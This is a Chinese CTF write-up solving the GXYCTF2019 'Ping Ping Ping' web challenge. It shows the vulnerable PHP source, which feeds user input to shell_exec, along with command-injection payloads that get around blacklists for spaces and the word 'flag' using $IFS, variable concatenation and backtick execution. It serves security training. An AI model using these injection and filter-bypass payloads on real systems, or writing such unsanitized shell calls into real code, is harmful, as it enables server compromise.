[GXYCTF2019]Ping Ping Ping
[GXYCTF2019]Ping Ping Ping
题目来源:buuctf
题目类型:web
涉及考点:命令执行
1. 题目页面如下:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230718032426_image-20230718103501173.png)
我们将其作为参数传入,/?ip=127.0.0.1
,回显如下:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230718032426_image-20230718103602346.png)
接下来通过命令行查看目录:/?ip=127.0.0.1;ls
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230718032426_image-20230718104048963.png)
2. 发现了flag.php,直接查看
/?ip=127.0.0.1;cat flag.php
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230718032426_image-20230718104148646.png)
发现空格被过滤了,我们采取以下几种常见的绕过方法:
$IFS
${IFS}
$IFS$1 //1可以换成任意数字
<
<>
绕过空格之后发现flag也被过滤了:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230718032426_image-20230718104611624.png)
还是查看一下index.php,看看有什么线索:
/?ip=127.0.0.1;cat$IFS$1index.php
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230718032426_image-20230718104735344.png)
可以看到一连串的过滤规则
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
//过滤 & / ? * < x{00}到x{20} > ' " \ ( ) [ ] { }
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
//过滤 空格
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
//过滤 bash
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
//过滤 flag(严格来说,是字符串中,flag依序出现的都被过滤)
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
3. 接下来尝试绕过
法一:
思路是通过变量覆盖来实现,具体做法:
将 flag 中的 g 赋值给变量 a,在命令行中用 fla$a
来表示 flag,构造的payload如下:
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
F12检查发现了flag:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230718032426_image-20230718110727506.png)
法二:
通过内联执行,让 ls 作为cat的参数传入,即可绕过flag:
/?ip=127.0.0.1;cat$IFS$1`ls`
同样在源码中看到flag:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230718032426_image-20230718111618281.png)
内联执行:即一个命令的结果作为另一个命令的参数使用
flag{0e459f07-aff4-4d6a-bea9-115e1309b55e}
日期:2023.7.18
作者:y0Zero